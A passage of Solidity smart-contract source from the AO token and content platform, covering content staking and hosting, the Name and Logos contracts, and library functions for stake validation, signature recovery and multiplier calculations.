require (AOLibrary.isTAO(_taoId));
(,, bytes32 _contentUsageType_taoContent, bytes32 taoContentState_submitted, bytes32 taoContentState_pendingReview, bytes32 taoContentState_acceptedToTAO) = _getSettingVariables();
require (_taoContentState == taoContentState_submitted || _taoContentState == taoContentState_pendingReview || _taoContentState == taoContentState_acceptedToTAO);
address _signatureAddress = AOLibrary.getUpdateTAOContentStateSignatureAddress(address(this), _contentId, _taoId, _taoContentState, _updateTAOContentStateV, _updateTAOContentStateR, _updateTAOContentStateS);
Content storage _content = contents[contentIndex[_contentId]];
// Make sure that the signature address is one of content's TAO ID's Advocate/Listener/Speaker
require (_signatureAddress == msg.sender && _nameTAOPosition.senderIsPosition(_signatureAddress, _content.taoId));
require (_content.contentUsageType == _contentUsageType_taoContent);
_content.taoContentState = _taoContentState;
_content.updateTAOContentStateV = _updateTAOContentStateV;
_content.updateTAOContentStateR = _updateTAOContentStateR;
_content.updateTAOContentStateS = _updateTAOContentStateS;
emit UpdateTAOContentState(_contentId, _taoId, _signatureAddress, _taoContentState);
}
/***** INTERNAL METHODS *****/
/**
* @dev Store the content information (content creation during staking)
* @param _creator the address of the content creator
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _fileSize The size of the file
* @param _contentUsageType The content usage type, i.e AO Content, Creative Commons, or T(AO) Content
* @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content)
* @return the ID of the content
*/
function _storeContent(address _creator, string _baseChallenge, uint256 _fileSize, bytes32 _contentUsageType, address _taoId) internal returns (bytes32) {
// Increment totalContents
totalContents++;
// Generate contentId
bytes32 _contentId = keccak256(abi.encodePacked(this, _creator, totalContents));
Content storage _content = contents[totalContents];
// Make sure the node does't store the same content twice
require (_content.creator == address(0));
(,,bytes32 contentUsageType_taoContent, bytes32 taoContentState_submitted,,) = _getSettingVariables();
_content.contentId = _contentId;
_content.creator = _creator;
_content.baseChallenge = _baseChallenge;
_content.fileSize = _fileSize;
_content.contentUsageType = _contentUsageType;
// If this is a TAO Content
if (_contentUsageType == contentUsageType_taoContent) {
_content.taoContentState = taoContentState_submitted;
_content.taoId = _taoId;
}
contentIndex[_contentId] = totalContents;
emit StoreContent(_content.creator, _content.contentId, _content.fileSize, _content.contentUsageType);
return _content.contentId;
}
/**
* @dev Add the distribution node info that hosts the content
* @param _host the address of the host
* @param _stakeId The ID of the staked content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
*/
function _hostContent(address _host, bytes32 _stakeId, string _encChallenge, string _contentDatKey, string _metadataDatKey) internal {
require (bytes(_encChallenge).length > 0);
require (bytes(_contentDatKey).length > 0);
require (bytes(_metadataDatKey).length > 0);
require (stakedContentIndex[_stakeId] > 0);
// Increment totalContentHosts
totalContentHosts++;
// Generate contentId
bytes32 _contentHostId = keccak256(abi.encodePacked(this, _host, _stakeId));
ContentHost storage _contentHost = contentHosts[totalContentHosts];
// Make sure the node doesn't host the same content twice
require (_contentHost.host == address(0));
_contentHost.contentHostId = _contentHostId;
_contentHost.stakeId = _stakeId;
_contentHost.host = _host;
_contentHost.encChallenge = _encChallenge;
_contentHost.contentDatKey = _contentDatKey;
_contentHost.metadataDatKey = _metadataDatKey;
contentHostIndex[_contentHostId] = totalContentHosts;
emit HostContent(_contentHost.host, _contentHost.contentHostId, _contentHost.stakeId, _contentHost.contentDatKey, _contentHost.metadataDatKey);
}
/**
* @dev actual staking the content
* @param _stakeOwner the address that stake the content
* @param _contentId The ID of the content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _profitPercentage The percentage of profit the stake owner's media will charge
* @return the newly created staked content ID
*/
function _stakeContent(address _stakeOwner, bytes32 _contentId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _profitPercentage) internal returns (bytes32) {
// Increment totalStakedContents
totalStakedContents++;
// Generate stakeId
bytes32 _stakeId = keccak256(abi.encodePacked(this, _stakeOwner, _contentId));
StakedContent storage _stakedContent = stakedContents[totalStakedContents];
// Make sure the node doesn't stake the same content twice
require (_stakedContent.stakeOwner == address(0));
_stakedContent.stakeId = _stakeId;
_stakedContent.contentId = _contentId;
_stakedContent.stakeOwner = _stakeOwner;
_stakedContent.profitPercentage = _profitPercentage;
_stakedContent.active = true;
_stakedContent.createdOnTimestamp = now;
stakedContentIndex[_stakeId] = totalStakedContents;
if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) {
_stakedContent.networkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination);
require (_baseAO.stakeFrom(_stakeOwner, _stakedContent.networkAmount));
}
if (_primordialAmount > 0) {
_stakedContent.primordialAmount = _primordialAmount;
// Primordial Token is the base AO Token
_stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner);
require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier));
}
emit StakeContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.createdOnTimestamp);
return _stakedContent.stakeId;
}
/**
* @dev Get setting variables
* @return contentUsageType_aoContent Content Usage Type = AO Content
* @return contentUsageType_creativeCommons Content Usage Type = Creative Commons
* @return contentUsageType_taoContent Content Usage Type = T(AO) Content
* @return taoContentState_submitted TAO Content State = Submitted
* @return taoContentState_pendingReview TAO Content State = Pending Review
* @return taoContentState_acceptedToTAO TAO Content State = Accepted to TAO
*/
function _getSettingVariables() internal view returns (bytes32, bytes32, bytes32, bytes32, bytes32, bytes32) {
(,,,bytes32 contentUsageType_aoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_aoContent');
(,,,bytes32 contentUsageType_creativeCommons,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_creativeCommons');
(,,,bytes32 contentUsageType_taoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_taoContent');
(,,,bytes32 taoContentState_submitted,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_submitted');
(,,,bytes32 taoContentState_pendingReview,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_pendingReview');
(,,,bytes32 taoContentState_acceptedToTAO,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_acceptedToTAO');
return (
contentUsageType_aoContent,
contentUsageType_creativeCommons,
contentUsageType_taoContent,
taoContentState_submitted,
taoContentState_pendingReview,
taoContentState_acceptedToTAO
);
}
/**
* @dev Check whether or not the content is of AO Content Usage Type
* @param _contentId The ID of the content
* @return true if yes. false otherwise
*/
function _isAOContentUsageType(bytes32 _contentId) internal view returns (bool) {
(bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables();
return contents[contentIndex[_contentId]].contentUsageType == _contentUsageType_aoContent;
}
}
/**
* @title Name
*/
contract Name is TAO {
/**
* @dev Constructor function
*/
constructor (string _name, address _originId, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
contract Logos is TAOCurrency {
NameTAOPosition internal _nameTAOPosition;
// Mapping of a Name ID to the amount of Logos positioned by others to itself
// address is the address of nameId, not the eth public address
mapping (address => uint256) public positionFromOthers;
// Mapping of Name ID to other Name ID and the amount of Logos positioned by itself
mapping (address => mapping(address => uint256)) public positionToOthers;
// Mapping of a Name ID to the total amount of Logos positioned by itself to others
mapping (address => uint256) public totalPositionToOthers;
// Mapping of Name ID to it's advocated TAO ID and the amount of Logos earned
mapping (address => mapping(address => uint256)) public advocatedTAOLogos;
// Mapping of a Name ID to the total amount of Logos earned from advocated TAO
mapping (address => uint256) public totalAdvocatedTAOLogos;
// Event broadcasted to public when `from` address position `value` Logos to `to`
event PositionFrom(address indexed from, address indexed to, uint256 value);
// Event broadcasted to public when `from` address unposition `value` Logos from `to`
event UnpositionFrom(address indexed from, address indexed to, uint256 value);
// Event broadcasted to public when `nameId` receives `amount` of Logos from advocating `taoId`
event AddAdvocatedTAOLogos(address indexed nameId, address indexed taoId, uint256 amount);
// Event broadcasted to public when Logos from advocating `taoId` is transferred from `fromNameId` to `toNameId`
event TransferAdvocatedTAOLogos(address indexed fromNameId, address indexed toNameId, address indexed taoId, uint256 amount);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _nameTAOPositionAddress)
TAOCurrency(initialSupply, tokenName, tokenSymbol) public {
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if msg.sender is the current advocate of _id
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/***** PUBLIC METHODS *****/
/**
* @dev Get the total sum of Logos for an address
* @param _target The address to check
* @return The total sum of Logos (own + positioned + advocated TAOs)
*/
function sumBalanceOf(address _target) public isNameOrTAO(_target) view returns (uint256) {
return balanceOf[_target].add(positionFromOthers[_target]).add(totalAdvocatedTAOLogos[_target]);
}
/**
* @dev `_from` Name position `_value` Logos onto `_to` Name
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to position
* @return true on success
*/
function positionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) {
require (_from != _to); // Can't position Logos to itself
require (balanceOf[_from].sub(totalPositionToOthers[_from]) >= _value); // should have enough balance to position
require (positionFromOthers[_to].add(_value) >= positionFromOthers[_to]); // check for overflows
uint256 previousPositionToOthers = totalPositionToOthers[_from];
uint256 previousPositionFromOthers = positionFromOthers[_to];
uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]);
positionToOthers[_from][_to] = positionToOthers[_from][_to].add(_value);
totalPositionToOthers[_from] = totalPositionToOthers[_from].add(_value);
positionFromOthers[_to] = positionFromOthers[_to].add(_value);
emit PositionFrom(_from, _to, _value);
assert(totalPositionToOthers[_from].sub(_value) == previousPositionToOthers);
assert(positionFromOthers[_to].sub(_value) == previousPositionFromOthers);
assert(balanceOf[_from].sub(totalPositionToOthers[_from]) <= previousAvailPositionBalance);
return true;
}
/**
* @dev `_from` Name unposition `_value` Logos from `_to` Name
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to unposition
* @return true on success
*/
function unpositionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) {
require (_from != _to); // Can't unposition Logos to itself
require (positionToOthers[_from][_to] >= _value);
uint256 previousPositionToOthers = totalPositionToOthers[_from];
uint256 previousPositionFromOthers = positionFromOthers[_to];
uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]);
positionToOthers[_from][_to] = positionToOthers[_from][_to].sub(_value);
totalPositionToOthers[_from] = totalPositionToOthers[_from].sub(_value);
positionFromOthers[_to] = positionFromOthers[_to].sub(_value);
emit UnpositionFrom(_from, _to, _value);
assert(totalPositionToOthers[_from].add(_value) == previousPositionToOthers);
assert(positionFromOthers[_to].add(_value) == previousPositionFromOthers);
assert(balanceOf[_from].sub(totalPositionToOthers[_from]) >= previousAvailPositionBalance);
return true;
}
/**
* @dev Add `_amount` logos earned from advocating a TAO `_taoId` to its Advocate
* @param _taoId The ID of the advocated TAO
* @param _amount the amount to reward
* @return true on success
*/
function addAdvocatedTAOLogos(address _taoId, uint256 _amount) public inWhitelist isTAO(_taoId) returns (bool) {
require (_amount > 0);
address _nameId = _nameTAOPosition.getAdvocate(_taoId);
advocatedTAOLogos[_nameId][_taoId] = advocatedTAOLogos[_nameId][_taoId].add(_amount);
totalAdvocatedTAOLogos[_nameId] = totalAdvocatedTAOLogos[_nameId].add(_amount);
emit AddAdvocatedTAOLogos(_nameId, _taoId, _amount);
return true;
}
/**
* @dev Transfer logos earned from advocating a TAO `_taoId` from `_fromNameId` to `_toNameId`
* @param _fromNameId The ID of the Name that sends the Logos
* @param _toNameId The ID of the Name that receives the Logos
* @param _taoId The ID of the advocated TAO
* @return true on success
*/
function transferAdvocatedTAOLogos(address _fromNameId, address _toNameId, address _taoId) public inWhitelist isName(_fromNameId) isName(_toNameId) isTAO(_taoId) returns (bool) {
require (_nameTAOPosition.nameIsAdvocate(_toNameId, _taoId));
require (advocatedTAOLogos[_fromNameId][_taoId] > 0);
require (totalAdvocatedTAOLogos[_fromNameId] >= advocatedTAOLogos[_fromNameId][_taoId]);
uint256 _amount = advocatedTAOLogos[_fromNameId][_taoId];
advocatedTAOLogos[_fromNameId][_taoId] = advocatedTAOLogos[_fromNameId][_taoId].sub(_amount);
totalAdvocatedTAOLogos[_fromNameId] = totalAdvocatedTAOLogos[_fromNameId].sub(_amount);
advocatedTAOLogos[_toNameId][_taoId] = advocatedTAOLogos[_toNameId][_taoId].add(_amount);
totalAdvocatedTAOLogos[_toNameId] = totalAdvocatedTAOLogos[_toNameId].add(_amount);
emit TransferAdvocatedTAOLogos(_fromNameId, _toNameId, _taoId, _amount);
return true;
}
}
/**
* @title AOLibrary
*/
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
/**
* @dev Check whether or not the given TAO ID is a TAO
* @param _taoId The ID of the TAO
* @return true if yes. false otherwise
*/
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(_taoId).name()).length > 0 && TAO(_taoId).originId() != address(0) && TAO(_taoId).typeId() == 0);
}
/**
* @dev Check whether or not the given Name ID is a Name
* @param _nameId The ID of the Name
* @return true if yes. false otherwise
*/
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(_nameId).name()).length > 0 && Name(_nameId).originId() != address(0) && Name(_nameId).typeId() == 1);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
* @param _sender The address to check
* @param _theAO The AO address
* @param _nameTAOPositionAddress The address of NameTAOPosition
* @return true if yes, false otherwise
*/
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
(
(isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
NameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)
)
);
}
/**
* @dev Return the divisor used to correctly calculate percentage.
* Percentage stored throughout AO contracts covers 4 decimals,
* so 1% is 10000, 1.25% is 12500, etc
*/
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
/**
* @dev Return the divisor used to correctly calculate multiplier.
* Multiplier stored throughout AO contracts covers 6 decimals,
* so 1 is 1000000, 0.023 is 23000, etc
*/
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
/**
* @dev Check whether or not content creator can stake a content based on the provided params
* @param _treasuryAddress AO treasury contract address
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
* @param _profitPercentage The percentage of profit the stake owner's media will charge
* @return true if yes. false otherwise
*/
function canStake(address _treasuryAddress,
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize,
uint256 _profitPercentage) public view returns (bool) {
return (
bytes(_baseChallenge).length > 0 &&
bytes(_encChallenge).length > 0 &&
bytes(_contentDatKey).length > 0 &&
bytes(_metadataDatKey).length > 0 &&
_fileSize > 0 &&
(_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0) &&
_stakeAmountValid(_treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _fileSize) == true &&
_profitPercentage <= _PERCENTAGE_DIVISOR
);
}
/**
* @dev Check whether or the requested unstake amount is valid
* @param _treasuryAddress AO treasury contract address
* @param _networkIntegerAmount The integer amount of the network token
* @param _networkFractionAmount The fraction amount of the network token
* @param _denomination The denomination of the the network token
* @param _primordialAmount The amount of primordial token
* @param _stakedNetworkAmount The current staked network token amount
* @param _stakedPrimordialAmount The current staked primordial token amount
* @param _stakedFileSize The file size of the staked content
* @return true if can unstake, false otherwise
*/
function canUnstakePartial(
address _treasuryAddress,
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
uint256 _stakedNetworkAmount,
uint256 _stakedPrimordialAmount,
uint256 _stakedFileSize) public view returns (bool) {
if (
(_denomination.length > 0 &&
(_networkIntegerAmount > 0 || _networkFractionAmount > 0) &&
_stakedNetworkAmount < AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination)
) ||
_stakedPrimordialAmount < _primordialAmount ||
(
_denomination.length > 0
&& (_networkIntegerAmount > 0 || _networkFractionAmount > 0)
&& (_stakedNetworkAmount.sub(AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination)).add(_stakedPrimordialAmount.sub(_primordialAmount)) < _stakedFileSize)
) ||
( _denomination.length == 0 && _networkIntegerAmount == 0 && _networkFractionAmount == 0 && _primordialAmount > 0 && _stakedPrimordialAmount.sub(_primordialAmount) < _stakedFileSize)
) {
return false;
} else {
return true;
}
}
/**
* @dev Check whether the network token and/or primordial token is adequate to pay for existing staked content
* @param _treasuryAddress AO treasury contract address
* @param _isAOContentUsageType whether or not the content is of AO Content usage type
* @param _fileSize The size of the file
* @param _stakedAmount The total staked amount
* @param _networkIntegerAmount The integer amount of the network token
* @param _networkFractionAmount The fraction amount of the network token
* @param _denomination The denomination of the the network token
* @param _primordialAmount The amount of primordial token
* @return true when the amount is sufficient, false otherwise
*/
function canStakeExisting(
address _treasuryAddress,
bool _isAOContentUsageType,
uint256 _fileSize,
uint256 _stakedAmount,
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount
) public view returns (bool) {
if (_isAOContentUsageType) {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) >= _fileSize;
} else {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) == _fileSize;
}
}
/**
* @dev Check whether the network token is adequate to pay for existing staked content
* @param _treasuryAddress AO treasury contract address
* @param _price The price of the content
* @param _networkIntegerAmount The integer amount of the network token
* @param _networkFractionAmount The fraction amount of the network token
* @param _denomination The denomination of the the network token
* @return true when the amount is sufficient, false otherwise
*/
function canBuy(address _treasuryAddress, uint256 _price, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination) public view returns (bool) {
return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination) >= _price;
}
/**
* @dev Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier`
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _currentPrimordialBalance Account's current primordial token balance
* @param _additionalWeightedMultiplier The weighted multiplier to be added
* @param _additionalPrimordialAmount The primordial token amount to be added
* @return the new primordial weighted multiplier
*/
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedTokens = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalTokens = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedTokens.div(_totalTokens);
} else {
return _additionalWeightedMultiplier;
}
}
/**
* @dev Return the address that signed the message when a node wants to become a host
* @param _callingContractAddress the address of the calling contract
* @param _message the message that was signed
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function getBecomeHostSignatureAddress(address _callingContractAddress, string _message, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _message));
return ecrecover(_hash, _v, _r, _s);
}
/**
* @dev Return the address that signed the TAO content state update
* @param _callingContractAddress the address of the calling contract
* @param _contentId the ID of the content
* @param _taoId the ID of the TAO
* @param _taoContentState the TAO Content State value, i.e Submitted, Pending Review, or Accepted to TAO
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function getUpdateTAOContentStateSignatureAddress(address _callingContractAddress, bytes32 _contentId, address _taoId, bytes32 _taoContentState, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _contentId, _taoId, _taoContentState));
return ecrecover(_hash, _v, _r, _s);
}
/**
* @dev Return the staking and earning information of a stake ID
* @param _contentAddress The address of AOContent
* @param _earningAddress The address of AOEarning
* @param _stakeId The ID of the staked content
* @return the network base token amount staked for this content
* @return the primordial token amount staked for this content
* @return the primordial weighted multiplier of the staked content
* @return the total earning from staking this content
* @return the total earning from hosting this content
* @return the total The AO earning of this content
*/
function getContentMetrics(address _contentAddress, address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier) = getStakingMetrics(_contentAddress, _stakeId);
(uint256 totalStakeEarning, uint256 totalHostEarning, uint256 totalTheAOEarning) = getEarningMetrics(_earningAddress, _stakeId);
return (
networkAmount,
primordialAmount,
primordialWeightedMultiplier,
totalStakeEarning,
totalHostEarning,
totalTheAOEarning
);
}
/**
* @dev Return the staking information of a stake ID
* @param _contentAddress The address of AOContent
* @param _stakeId The ID of the staked content
* @return the network base token amount staked for this content
* @return the primordial token amount staked for this content
* @return the primordial weighted multiplier of the staked content
*/
function getStakingMetrics(address _contentAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) {
(,, uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier,,,) = AOContent(_contentAddress).stakedContentById(_stakeId);
return (
networkAmount,
primordialAmount,
primordialWeightedMultiplier
);
}
/**
* @dev Return the earning information of a stake ID
* @param _earningAddress The address of AOEarning
* @param _stakeId The ID of the staked content
* @return the total earning from staking this content
* @return the total earning from hosting this content
* @return the total The AO earning of this content
*/
function getEarningMetrics(address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) {
return (
AOEarning(_earningAddress).totalStakedContentStakeEarning(_stakeId),
AOEarning(_earningAddress).totalStakedContentHostEarning(_stakeId),
AOEarning(_earningAddress).totalStakedContentTheAOEarning(_stakeId)
);
}
/**
* @dev Calculate the primordial token multiplier on a given lot
* Total Primordial Mintable = T
* Total Primordial Minted = M
* Starting Multiplier = S
* Ending Multiplier = E
* To Purchase = P
* Multiplier for next Lot of Amount = (1 - ((M + P/2) / T)) x (S-E)
*
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @param _totalPrimordialMintable Total Primordial token intable
* @param _totalPrimordialMinted Total Primordial token minted so far
* @param _startingMultiplier The starting multiplier in (10 ** 6)
* @param _endingMultiplier The ending multiplier in (10 ** 6)
* @return The multiplier in (10 ** 6)
*/
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
/**
* Let temp = M + (P/2)
* Multiplier = (1 - (temp / T)) x (S-E)
*/
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
/**
* Multiply multiplier with _MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR to account for 6 decimals
* so, Multiplier = (_MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR) * (1 - (temp / T)) * (S-E)
* Multiplier = ((_MULTIPLIER_DIVISOR * (1 - (temp / T))) * (S-E)) / _MULTIPLIER_DIVISOR
* Multiplier = ((_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)) / _MULTIPLIER_DIVISOR
* Take out the division by _MULTIPLIER_DIVISOR for now and include in later calculation
* Multiplier = (_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)
*/
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
/**
* Since _startingMultiplier and _endingMultiplier are in 6 decimals
* Need to divide multiplier by _MULTIPLIER_DIVISOR
*/
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
/**
* @dev Calculate the bonus percentage of network token on a given lot
* Total Primordial Mintable = T
* Total Primordial Minted = M
* Starting Network Token Bonus Multiplier = Bs
* Ending Network Token Bonus Multiplier = Be
* To Purchase = P
* AO Bonus % = B% = (1 - ((M + P/2) / T)) x (Bs-Be)
*
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @param _totalPrimordialMintable Total Primordial token intable
* @param _totalPrimordialMinted Total Primordial token minted so far
* @param _startingMultiplier The starting Network token bonus multiplier
* @param _endingMultiplier The ending Network token bonus multiplier
* @return The bonus percentage
*/
function calculateNetworkTokenBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
/**
* Let temp = M + (P/2)
* B% = (1 - (temp / T)) x (Bs-Be)
*/
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
/**
* Multiply B% with _PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR to account for 6 decimals
* so, B% = (_PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR) * (1 - (temp / T)) * (Bs-Be)
* B% = ((_PERCENTAGE_DIVISOR * (1 - (temp / T))) * (Bs-Be)) / _PERCENTAGE_DIVISOR
* B% = ((_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)) / _PERCENTAGE_DIVISOR
* Take out the division by _PERCENTAGE_DIVISOR for now and include in later calculation
* B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)
* But since Bs and Be are in 6 decimals, need to divide by _PERCENTAGE_DIVISOR
* B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) / _PERCENTAGE_DIVISOR
*/
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
/**
* @dev Calculate the bonus amount of network token on a given lot
* AO Bonus Amount = B% x P
*
* @param _purchaseAmount The amount of primordial token intended to be purchased
* @param _totalPrimordialMintable Total Primordial token intable
* @param _totalPrimordialMinted Total Primordial token minted so far
* @param _startingMultiplier The starting Network token bonus multiplier
* @param _endingMultiplier The ending Network token bonus multiplier
* @return The bonus percentage
*/
function calculateNetworkTokenBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkTokenBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
/**
* Since bonusPercentage is in _PERCENTAGE_DIVISOR format, need to divide it with _PERCENTAGE DIVISOR
* when calculating the network token bonus amount
*/
uint256 networkTokenBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkTokenBonus;
}
/**
* @dev Calculate the maximum amount of Primordial an account can burn
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _maximumMultiplier = S
* _amountToBurn = B
* B = ((S x P) - (P x M)) / S
*
* @param _primordialBalance Account's primordial token balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _maximumMultiplier The maximum multiplier of this account
* @return The maximum burn amount
*/
